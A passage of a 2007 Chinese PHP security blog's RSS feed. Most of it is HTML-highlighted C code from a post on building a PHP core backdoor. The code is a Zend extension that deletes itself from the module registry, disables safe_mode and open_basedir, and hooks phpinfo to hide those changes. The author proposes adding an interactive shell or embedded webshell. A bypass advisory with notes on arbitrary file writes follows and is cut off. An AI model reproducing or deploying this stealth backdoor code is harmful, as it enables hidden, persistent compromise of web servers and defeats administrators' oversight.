style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;MODULE_PERSISTENT&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">else</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_register_functions(</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;wfw_functions</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;MODULE_PERSISTENT&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">endif</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(zend_hash_find(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">module_registry</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfwcbd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfwcbd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;(void&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">module_entry_ptr)</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">SUCCESS)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(extension)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;extension</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">handle&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;module_entry_ptr</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">handle;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;}&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;zend_extension&nbsp;ext;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;ext&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;wfw_zend_extension_entry;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;ext</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">handle&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;module_entry_ptr</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">handle;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;zend_llist_add_element(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">zend_extensions</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">ext);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;extension&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;zend_llist_get_last(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">zend_extensions);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;module_entry_ptr</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">handle&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;//删除module_registry中的信息<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;//</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(SUCCESS&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;zend_hash_del(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">module_registry</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfwcbd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfwcbd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)))&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;FAILURE;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;FAILURE;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;resid&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;zend_get_resource_handle(extension);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_zend_extension_entry</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">resource_number&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;resid;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;SUCCESS;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_module_active()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">php_printf("wfw&nbsp;active!\r\n");</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;do_something_while_active();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_module_deactive()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">php_printf("wfw&nbsp;deactive!\r\n");</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;do_something_while_deactive();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_shutdown(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">extension)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">php_printf("wfw&nbsp;shutdown\r\n");</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;do_something_while_shutdown();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>再配合hook phpinfo等函数,就可以让我们对php环境变量做的修改看不出来:</p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">PHP_FUNCTION(hooked_phpinfo)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;int&nbsp;argc&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;ZEND_NUM_ARGS();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;long&nbsp;flag;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">恢复设置</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_alter_ini_entry(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;old_safe_mode</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(old_safe_mode)&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_SYSTEM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_STAGE_ACTIVATE);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;zend_alter_ini_entry(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">open_basedir</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">open_basedir</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;old_open_basedir</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(old_open_basedir)&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_SYSTEM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_STAGE_ACTIVATE);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(zend_parse_parameters(argc&nbsp;TSRMLS_CC</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">|l</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">flag)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;FAILURE)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">argc)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;flag&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;PHP_INFO_ALL;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_start_ob_buffer(</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">4096</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_print_info(flag&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_end_ob_buffer(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">重新设置环境</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_alter_ini_entry(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_SYSTEM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_STAGE_ACTIVATE);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;zend_alter_ini_entry(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">open_basedir</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">open_basedir</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_SYSTEM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_STAGE_ACTIVATE);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif">..</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif">..</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;RETURN_TRUE;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>使用以上所述的方法,基本一个简单的PHP core backdoor就可以实现了.当然,我们其实还可以加入些其他功能.比如通过控制http头提供个可交互shell,比如内嵌一个php webshell在module中,触发后用php_start_ob_buffer函数及php_end_ob_buffer控制输出,替代任何一个php文件的输出为我们的webshell....<br>开阔你的大脑吧.一切都由你的想像力来完成:)</p>
<p>5)一些说明</p>
<p>很久没有写文档了,文章比较乱.请各位包涵吧.我的语文水平也就那么点了:)<br>由于对于php core的研究我也是新手,以上文章难免失误,请各位指正,我的email: wofeiwo_at_gmail_dot_com<br>最后感谢下Ben.yan在本文写作过程中对我的极大帮助.没有他本文是完不成的</p>
<p>6)参考文档</p>
<p>PHP手册: <a href="http://www.php.net/manual/en/">http://www.php.net/manual/en/</a><br>PHP源代码: <a href="http://www.php.net/">http://www.php.net/</a><br>suhosin源代码: <a href="http://www.suhosin.org/">http://www.suhosin.org/</a><br>php win32执行程序module: <a href="http://www.phpweblog.net/GaRY/archive/2007/05/15/php_win32_create_process_module.html">http://www.phpweblog.net/GaRY/archive/2007/05/15/php_win32_create_process_module.html</a></p>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1242.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-23 20:01 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/23/Developing_A_PHP_Core_Backdoor.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>The Month of PHP Bugs</title><link>http://www.phpweblog.net/GaRY/archive/2007/03/08/962.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Thu, 08 Mar 2007 08:50:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/03/08/962.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/962.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/03/08/962.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/962.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/962.html</trackback:ping><description><![CDATA[啥也不说了。。自己看吧<br /><br /><a href="http://www.php-security.org/">http://www.php-security.org/</a><img src ="http://www.phpweblog.net/GaRY/aggbug/962.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-03-08 16:50 <a href="http://www.phpweblog.net/GaRY/archive/2007/03/08/962.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP 5.2.0 session.save_path safe_mode and open_basedir bypass</title><link>http://www.phpweblog.net/GaRY/archive/2006/12/09/PHP_5_0_2_session_save_path.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Sat, 09 Dec 2006 04:10:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/12/09/PHP_5_0_2_session_save_path.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/552.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/12/09/PHP_5_0_2_session_save_path.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/552.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/552.html</trackback:ping><description><![CDATA[
		<p>
		</p>
		<table cellspacing="0" cellpadding="3" width="100%" border="0">
				<tbody>
						<tr>
								<font size="2">这个漏洞让我想起来以前发现的一个php的小问题。想想用在这里倒是很适用：<br /><br /></font>
								<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
										<font size="2">
												<span style="COLOR: #000000">唯一让我感兴趣的是</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">在测试session相关函数的时候</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">发现通过修改cookie里的session_id可以在session目录下写新文件并控制文件名为</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">sess_</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #800080">$session_id</span>
												<span style="COLOR: #000000"> 这样的形式</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">如果能再控制一个写到session_data的变量</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">或许能有所作用</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">(</span>
												<span style="COLOR: #800080">$session_id</span>
												<span style="COLOR: #000000"> 有字符限制</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">只允许大小写字母</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">还有</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">-</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">和</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">字符</span>
												<span style="COLOR: #000000">.</span>
										</font>
										<font size="2">
												<span style="COLOR: #000000">并且不能超过php所在系统的文件名长度限制)<br /><br />同样的</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">如果我已经得到了一个webshell</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">利用session_save_path以及session_set_save_handler</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">我们可以在允许的任意目录里以进程的权限写任意文件</span>
												<span style="COLOR: #000000">,</span>
												<span style="COLOR: #000000">并没有文件名和内容上的任何限制</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">也许这个能在disable了file相关function时能有用</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">PHP</span>
												<span style="COLOR: #000000">-</span>
												<span style="COLOR: #000000">5.0</span>
												<span style="COLOR: #000000">.</span>
												<span style="COLOR: #000000">4版本前的session_save_path甚至能绕过open_basedir在任意有权限的地方写文件</span>
										</font>
								</div>
								<br />
								<br />
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Topic : <b>PHP 5.2.0 session.save_path safe_mode and open_basedir bypass</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Security<font color="red">A</font>lert Id : <b>43</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   SecurityRisk : <b>High</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Remote Exploit : <b>No</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Local Exploit : <b>Yes</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Exploit Given : <b>No</b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Credit : <b><font color="green">Maksymilian Arciemowicz</font></b><br /></font>
						</tr>
						<tr>
								<td valign="top">
										<font size="2">
										</font>
								</td>
								<td>
										<font size="2">
										</font>
								</td>
								<font size="2">
										<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />   Date : <b>8.12.2006</b></font>
								<div align="justify">
										<br />
										<font size="2">
												<img height="5" src="http://securityreason.com/gfx/arrow.png" width="4" border="0" />  Affected Software :  <b>PHP 5.2.0</b></font>
								</div>
								<p>
										<font size="2">
										</font>
								</p>
								<div align="justify">
										<br />
										<font size="2">
